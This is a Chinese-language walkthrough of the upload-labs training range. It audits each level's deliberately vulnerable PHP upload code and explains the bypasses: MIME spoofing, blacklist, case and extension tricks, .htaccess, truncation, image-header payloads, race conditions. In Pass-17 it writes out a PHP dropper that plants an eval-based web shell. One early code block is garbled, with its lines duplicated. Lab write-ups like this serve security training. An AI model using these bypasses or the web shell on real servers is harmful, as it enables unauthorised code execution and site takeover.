upload-labs WP
浏览 829 | 评论 0 | 字数 31318
硝基苯
2022年01月24日
  • 基础知识部分

    1.PHP中 $_FILES是一个预定义的数组,用于获取POST上传文件的相关信息。如果上传单 个文件则是二维数组,如果上传多个文件则是三维数组
    2.要确保前端上传表单的属性为enctype=”multipart/from-data”,否则文件无法上传

    1. 我们假设文件上传字段的名称如下例所示,为 userfile。名称可随意命名。
      $_FILES['userfile']['name']客户端机器文件的原名称。

    $_FILES['userfile']['type']文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。

    $_FILES['userfile']['size']已上传文件的大小,单位为字节。

    $_FILES['userfile']['tmp_name']文件被上传后在服务端储存的临时文件名。

    $_FILES['userfile']['error']和该文件上传相关的错误代码。
    文件被上传后,默认地会被储存到服务端的默认临时目录中,除非 php.ini 中的 upload_tmp_dir 设置为其它的路径。服务端的默认临时目录可以通过更改 PHP 运行环境的环境变量 TMPDIR 来重新设置,但是在 PHP 脚本内部通过运行 putenv() 函数来设置是不起作用的。该环境变量也可以用来确认其它的操作也是在上传的文件上进行的。
    97642-a6tjckz3ncn.png

    Upload-labs导图

    17054-klm5o08smr.png

    pass-01 前端绕过

    考点:前端绕过

    黑盒测试

    72896-k4y6i7f1ixs.png
    文件名后缀名未发生改变
    抓包改后缀直接上传(这里其实有个前端验证,我们放到白盒测试中去分析)
    39738-mz0kj9lxgr.png
    虽然看到img仍将其解析为了图片,我们访问上传文件
    成功解析
    24277-s5vvfewyqbl.png
    根目录拿到flag
    73039-j6gmybeowy9.png

    代码审计

    56502-jl9l377kcpr.png
    可以看到form表单中存在onsubmit事件,在事件触发后执行JS代码,也就是checkFile函数
    11589-2n02wp70kb3.png
    源代码中轻松找到了该函数
    该函数用于前端验证后缀名,所以在此,我们有两种方法进行绕过

    • 直接删除onsubmit事件,达到绕过前端js白名单检测的目的
    • 抓包后改后缀

    本from表单因为没有指定上传路径,所以默认在本文件中,我们在index.php中找到后端处理文件的代码

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {        if (file_exists(UPLOAD_PATH)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
            if (move_uploaded_file($temp_file, $img_path)){            if (move_uploaded_file($temp_file, $img_path)){
                $is_upload = true;                $is_upload = true;
            } else {            } else {
                $msg = 'Upload Error!';                $msg = 'Upload Error!';
            }            }
        } else {        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }        }
    }    }
    if (isset($_POST['submit'])) {    if (isset($_POST['submit'])) {
    

    可以看到后端并没有做任何的过滤,直接就将文件名和后缀进行了拼接造成文件上传漏洞

    Pass-02 MIME类型绕过

    考点:MIME类型绕过


    黑盒测试

    上传jpg文件,发现文件名可控
    93612-aq0324hlc8m.png
    通过F12,这次并没有找到定义checkFile的代码段,尝试直接传个敏感后缀的文件进行测试
    45093-s7gr4bmz7fp.png
    前端并未做check,而是在后端进行了一次check
    73622-x8fp9eodkwm.png
    尝试上传进行FUZZ
    66505-b9i9j85vwg.png
    当后缀为jpgContent-Type为非图片类型时,上传失败
    当上传一个图片马。
    后缀为phpContent-type为图片类型时
    52677-0p0zqsv0xgxn.png

    上传成功,get webshell

    代码审计

    关键代码

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = 'Upload Error!';
                }
            } else {
                $msg = 'Incorrect file type, please re-upload!';
            }
        } else {
            $msg = UPLOAD_PATH.'Folder does not exist, please create it manually!';
        }
    }
    ?>
    

    可以看到仅检测了Content-Type类型,而未对文件名进行check,进而通过黑盒测试中的那几步getshell

    Pass-03 黑名单绕过

    考点:黑名单绕过


    上传正常图片jsshell.png图片后发现
    11726-sbmabsa3y3h.png
    文件名不再可控,但是后缀还是png。
    checkFIle没用,考虑后端对文件名进行操作
    28326-f0rg90dym25.png
    对后缀名进行了check
    11286-gp3vmryjplo.png
    黑名单绕过
    70647-2th0h6898xg.png
    可以从这一点发现,后端是截取了最后一个点进行check,不在黑名单再放入其中
    那绕过黑名单即可
    尝试php2 php3 php5 phtml pht
    最终解析php3 phtml(与配置文件设置有关Apache的httpd.conf配置文件中,有这样一行内容:AddType application/x-httpd-php .php .php3 .phtml)
    29569-hfq41tw8r0d.png

    代码审计

    关键代码

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array('.asp','.aspx','.php','.jsp');
            $file_name = trim($_FILES['upload_file']['name']);
            //去除文件名中所有空格
            $file_name = deldot($file_name);
            //如果文件名后有个 . 则删除文件名最后一个 .
            $file_ext = strrchr($file_name, '.');
            //找到后缀 (找到最后一个strrchr — 查找指定字符在字符串中的最后一次出现,从最后出现的位置开始,直到末尾。截取了最后一个点的后缀)
            $file_ext = strtolower($file_ext);
            //$file_ext全部小写 
            $file_ext = str_ireplace('::$DATA', '', $file_ext);
            //如果出现::$DATA就替换为空(win环境中会自动去除::$DATA)
            $file_ext = trim($file_ext); 
            //去除所有空格
    
            if(!in_array($file_ext, $deny_ext)) 
            //check黑名单,如果不在黑名单中执行文件保存,若在则不保存,回显
                {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
                if (move_uploaded_file($temp_file,$img_path)) {
                     $is_upload = true;
                } else {
                    $msg = 'Upload Failed!';
                }
            } else {
                $msg = 'Upload not allowed .asp,.aspx,.php,.jsp suffix files!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }

    跟一遍代码,首先定义了一个黑名单
    通过trim函数去除字符串首尾空白符
    25057-6hlr92147js.png
    文件名倒着读,直到读到不是点的为止

    $a = deldot("1234.1234..");
    //1234.1234

    代码分析完毕,只需绕过黑名单即可

    Pass-04 Apache解析漏洞或.htaccess绕过

    考点:后端黑名单绕过或.htaccess绕过

    黑盒测试

    88767-b4jfxnkc9f4.png
    文件名可控
    后端验证
    45076-abc7imqrffb.png
    95263-laa0fx2tf.png
    通过fuzz,我们不难看出,后端验证逻辑应该是:黑名单验证最后一个点的后缀,如果不在黑名单内则直接将文件名传上去
    考虑截断
    %00截断失败
    50269-w77y1dhv1e.png
    ;截断失败,解析为了图片
    19266-ynikumr7cw.png
    68945-0f2llzulbq17.png

    法一:考虑解析漏洞

    服务器为Apache
    Apache 1.x和2.x的解析漏洞,会从左往右识别
    48736-ctotlxvrdvc.png
    成功getshell
    81444-ke9im99syo.png

    法二:

    上传.htaccess
    26930-99r56tuozls.png
    上传名字带有jsshell的图片马
    04163-1b8hwb68sozj.png
    解析为php
    49955-u78z30ceun.png

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//Delete the dot at the end of the file name
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext);//Convert to Small letter
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
            $file_ext = trim($file_ext); //Clean Empty Place
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = 'Upload Failed!';
                }
            } else {
                $msg = 'This type of file is not allow to upload!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }
    

    可以看相较于Pass-03,后缀过滤更为严格,但名字仍然可控,考虑截断或中间件特性来进行绕过,截断的内容来过黑名单的check,解析php即可

    Pass-05 大小写绕过

    考点:大小写绕过

    黑盒测试

    14323-982t6acfg06.png
    文件名无法控制,后缀黑名单
    89009-8iwuwh321a.png
    因为是截取最后一个后缀来过黑名单后直接拼接,解析漏洞失败;截断失败
    fuzz后缀
    10473-fd4myugw53j.png
    大小写绕过

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//Delet Dot name
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
            $file_ext = trim($file_ext); //Clean Empty Space
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = 'This file is not allowed to be uploaded!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }
    

    本代码中与之前不同,缺少strtolower函数,所以可以进行大小写的绕过,截取最后一个后缀直接拼接

    Pass-06 空格绕过

    考点:win下的空格绕过(win环境下会将后缀后面的空格去除)
    黑名单绕过

    黑盒测试

    02945-qn8pu2mysvi.png
    靶场用的buu的靶场,为linux环境。
    无法实现空格绕过。不做演示了

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");    
        $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//Delete dot in name's latest place
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //Convert to lowercase
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = UPLOAD_PATH . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = 'This file is not allowed to be uploaded!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }

    move_upload_file小知识:当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /.
    因为代码中删除了最后的点,所以不能利用。全部小写,大小写绕过失败。但我们可以看到本段代码中未使用trim,所以在win的环境下可以用空格进行绕过

    Pass-07 .绕过

    考点:win下通过 . 绕过黑名单;利用Apache解析特性绕过
    黑名单绕过
    46422-0eexdyca3lq.png
    文件名完全可控
    67386-f7q2h7rf50s.png
    利用Apache特性,直接绕过getshell
    32869-whh27v8ytpl.png

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //Convert To Small Letter
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
            $file_ext = trim($file_ext); //Clean Up Empty 
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) 

    截取最后一个后缀小写进入黑名单check,通过则将文件名直接存入服务器中。文件名完全可控,进而绕过

    Pass-08 ::$DATA绕过

    考点:win环境下利用::$DATA绕过

    黑盒审计

    linux下无法复现
    12851-d8z7lgdlhz.png
    访问直接访问php后缀即可,不用再加::$DATA

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//Remove deldot
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //Convert to lowercase
            $file_ext = trim($file_ext); //Clean up empty
            
            if (!in_array($file_ext, $deny_ext)) {
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = UPLOAD_PATH . '/' . $file_name;
                    $is_upload = true;
                }
            } else {
                $msg = 'This file type is not allowed to be uploaded!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }

    可执行后缀全部写死,用了strtolower函数无法大小写绕过,截取最后的后缀名过了黑名单才进行拼接。我们只能利用win的特性::$DATA来去绕

    Pass-09 .空格.绕过

    考点:win下通过 php. .绕过,访问直接php.即可

    黑盒测试

    63708-r71xd4e6b8l.png
    文件名完全可控,所以还是可以利用Apache去绕。ini绕过失败

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//Delete dot
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //Conver To Small Letter
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
            $file_ext = trim($file_ext); //Clean Empty Space
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = 'Upload Failed!';
                }
            } else {
                $msg = 'This file is not allowed to be uploaded!';
            }
        } else {
            $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
        }
    }

    如果采用win的php. . 下的逻辑file_name就为php. 即可绕过黑名单,因为deldot读到空格后停止,check时为空格

    Pass-10 双写绕过

    考点:双写绕过

    黑盒测试

    文件名可控,但是会删除php,考虑双写绕过
    70703-ys6d98rkh.png
    getshell
    11431-gv42mm9c5d5.png

    代码审计
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;        
            if (move_uploaded_file($temp_file, $img_path))
    

    采用了str_ireplace函数,忽略大小写进行替换,但str_replace并不会循环遍历,所以双写绕过

    Pass-11 00截断

    考点%00 0x00 0x0a截断 截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态+get型上传路径可控

    黑盒测试

    截取最后的后缀进行check和拼接
    59497-khn03z6iu4j.png
    78056-kg1y8ha4l28.png
    白名单
    92651-hbv4plz00c.png
    通过观察发现上传路径可控
    但不能创建新的文件夹
    67853-alesx718r8.png
    本版本不能截断
    57236-dtfqig8dky7.png

    代码审计
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path))

    可以看到,虽然文件名白名单且不可控,但文件上传路径可控,考虑截断即可

    Pass-12 00截断

    考点%00 0x00 0x0a截断 截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态+POST型上传路径可控

    黑盒测试

    76353-6e4iytri8hm.png
    Pass-11为get,这个为post,都差不多
    63859-vbahn50ctug.png

    代码审计
       $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){

    不再赘述

    Pass-13 文件头绕过+文件包含

    考点:文件头绕过+文件包含

    黑盒测试

    41592-f77op41d91k.png
    所有后缀传上去都是.jpg
    经过fuzz,检测文件头来判断文件类型,如果是jpg、png、gif则直接添加相应后缀,其他类型文件不过check
    随后得找到文件包含的洞才能利用

    代码审计
    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }

    文件名不可控,后缀不可控,check文件头

    Pass-14图片马+包含

    考点getimagesize函数检测文件头文件大小来检测文件类型+文件包含

    黑盒测试

    15040-lve32mw3y6.png
    可以看到,文件名和content-type并未影响后缀
    58067-e681v1r9me.png
    文件头更改后被ban
    和上题一样

    代码审计
    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }

    通过getimagesize函数获得图片后缀来拼接,文件名不可控

    Pass-15图片马+包含

    考点exif_imagetype函数check文件头+文件包含

    黑盒测试

    35144-hrnhthlu5ck.png
    文件名和Content-type不影响
    删除文件头发现后缀消失
    56987-dj03wb1tqb8.png

    代码审计
    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }

    关键函数exif_imagetype

    Pass-16二次渲染+包含

    考点二次渲染+文件包含

    黑盒测试

    平时用的图片马因为被我切割过,传上去回显不正常,但是正常图片可以
    77083-21mex0ki2kp.png
    黑名单,考虑0x00截断,但本环境不支持。
    再看上传后的图片
    88690-d49xm4xz44s.png
    图片被压缩,存在二次渲染
    75245-7gov0iaz8ym.png
    通过比对,这个部分未发生改变
    96611-ycdg715q6md.png
    修改蓝色部分后上传,成功带入

    代码审计

    54489-842qjn2yw3r.png
    当验证后缀和Content-type后进行了二次渲染,生成新的文件。文件名不可控

    Pass-17 条件竞争

    考点:条件竞争

    代码审计

    93207-coydnharmpq.png
    代码中,将临时文件移动到了upload指定目录下,且移动到的文件名可控。因为是直接移动到指定文件名中。随后进行check,check不通过则删除文件。所以可以利用条件竞争去访问我们所有上穿的php,进而生成一个新的后门

    通过爆破去上传文件,上传的文件名为1234.php
    <?php fputs(fopen('1.php','w'),'<?php @eval($_POST["a"])?>');?>
    40616-exbx8ib8iim.png
    99362-xf9s628fzbt.png
    目的是让其持续上传
    48728-n0p38jlcom.png
    上传的线程数可以调成1,因为我们竞争的点不在上传这,而是文件传入服务器后的那个点

    访问1234.php,爆破访问,从而访问的速度大于删除的速度时,运行1234.php,生成1.php的后门
    96781-kz0ow0qt33i.png
    68800-mjjxu73z62.png
    线程要大,次数要快
    当我们竞争成功时会返回200(因为1234.php在那时未被删除)
    48140-6ozyc2xbigc.png
    成功激活1.php
    40721-ijwuuhxvgf.png

    Pass-18 条件竞争+白名单绕过

    考点:条件竞争+白名单绕过

    代码审计

    这里的代码量比之前大了不少,我们一步步分析
    31822-oeg9fjbqqca.png
    $imgFileName是时间戳
    首先实例化了一个类
    54386-ojrognmi5li.png
    赋值,变量名取的挺清楚的
    $status_code = $u->upload(UPLOAD_PATH);成员方法
    跟进MyUpload类下的upload方法

    function upload( $dir ){
        
        $ret = $this->isUploadedFile();
        
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->setDir( $dir );
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkExtension();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkSize();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
        
        // if flag to check if the file exists is set to 1
        
        if( $this->cls_file_exists == 1 ){
          
          $ret = $this->checkFileExists();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
    
        // if we are here, we are ready to move the file to destination
    
        $ret = $this->move();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
    
        // check if we need to rename the file
    
        if( $this->cls_rename_file == 1 ){
          $ret = $this->renameFile();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
        
        // if we are here, everything worked as planned :)
    
        return $this->resultUpload( "SUCCESS" );
      
      }
    

    checkExtension 方法
    40535-yw40biv7fv.png
    白名单,检测最后一个点,所以我们可以用.php.jpg来进行绕过
    随后就调用了move方法
    71262-7a5g31tjhms.png
    在动态调试中我们可以看到,文件移动后的文件名是进行拼接而成,但是可控。从代码上看也是,前期并未对cls_filename进行操作。
    所以移动后的文件名是可以得知的

    继续跟进。 cls_rename_file 初始值为1,进入if执行语句,调用renameFile方法
    32209-gl2b7rhurdi.png

    function renameFile(){
    
        // if no new name was provided, we use
    
        if( $this->cls_file_rename_to == '' ){
    
          $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
          $this->cls_file_rename_to = "" ; 
          mt_srand (( double) microtime() * 1000000 ); 
          for ( $i = 0; $i<8 ; $i++ ){
            $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
          }
        }    
        
        // Remove the extension and put it back on the new file name
        
        $extension = strrchr( $this->cls_filename, "." );
        $this->cls_file_rename_to .= $extension;
        
        if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
          return "RENAME_FAILURE";
        } else {
          return 1;
        }
      }

    由于 cls_file_rename_to 成员变量前面已经定义,赋值为time();所以跳过if语句,直接获取上传文件名的最后一个后缀与 cls_file_rename_to 进行拼接,生成新文件名,通过rename函数改之前的文件名。此时文件名不再可控

    代码梳理完毕,大致流程为:上传文件-> check后缀 白名单->upload拼接文件名进行转存->更改上传后的文件名

    漏洞点就在转存后到更改文件名之间,bypass利用环境特性(截断或解析方式)来进行。所以要条件竞争

    由于buu上有防扫功能,条件竞争受阻。剩下的与Pass-17相似
    发包内容
    38089-sysz0jxi92.png
    访问
    80937-8x5pif5sda3.png
    与上面相同,生成1.php

    Pass-19 /.结尾绕过

    考点:上传的文件名可控+黑名单绕过+move_uploaded_file函数当文件名最后为/.时被忽略

    黑盒测试

    74056-095xnow3f8l6.png
    黑名单绕过
    73509-y8bj9tj6yd.png
    move_uploaded_file函数当文件名最后为/.时被忽略
    92440-snwnngprsp7.png

    代码审计
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = $_POST['save_name'];
            $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
    
            if(!in_array($file_ext,$deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) { 
                    $is_upload = true;
                }else{
                    $msg = '上传出错!';
                }
            }else{
                $msg = '禁止保存为该类型文件!';
            }
    
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

    $file_name完全可控

    Pass-20 /.绕过+关联数组

    考点:代码审计+/.绕过+关联数组

    代码审计
           if(!empty($_FILES['upload_file'])){
                //mime check
                $allow_type = array('image/jpeg','image/png','image/gif');
                if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                    $msg = "Prohibit to upload this type of File!";
                }else{
                    //check filename
                    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                    if (!is_array($file)) {
                        $file = explode('.', strtolower($file));
                    }
    
                    $ext = end($file);
                    $allow_suffix = array('jpg','png','gif');
                    if (!in_array($ext, $allow_suffix)) {
                        $msg = "Prohibit to upload this type of suffix!";
                    }else{
                        $file_name = reset($file) . '.' . $file[count($file) - 1];
                        $temp_file = $_FILES['upload_file']['tmp_name'];
                        $img_path = UPLOAD_PATH . '/' .$file_name;
                        if (move_uploaded_file($temp_file, $img_path)) {
                            $msg = "Upload Success!";
                            $is_upload = true;
    

    首先绕过Content-type

    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
                        $file = explode('.', strtolower($file));
                    }

    三目运算符
    如果post的参数sava_name为空,则用文件名进行赋值;如果不为空则用save_name进行赋值
    如果不是数组,通过.来分割数组
    通过$ext = end($file);来取数组中最后一个元素来进行check
    通过$file_name = reset($file) . '.' . $file[count($file) - 1];;用reset选取第一个元素再拼接file[count-1]

    思路:
    如果我们正常上传1234.php.jpg,最终通过截取,文件名会变为1234.jpg
    那我们能否可以不用.来进行分割,跳过if分割数组语句
    我们将传入的save_name参数变为数组型即可

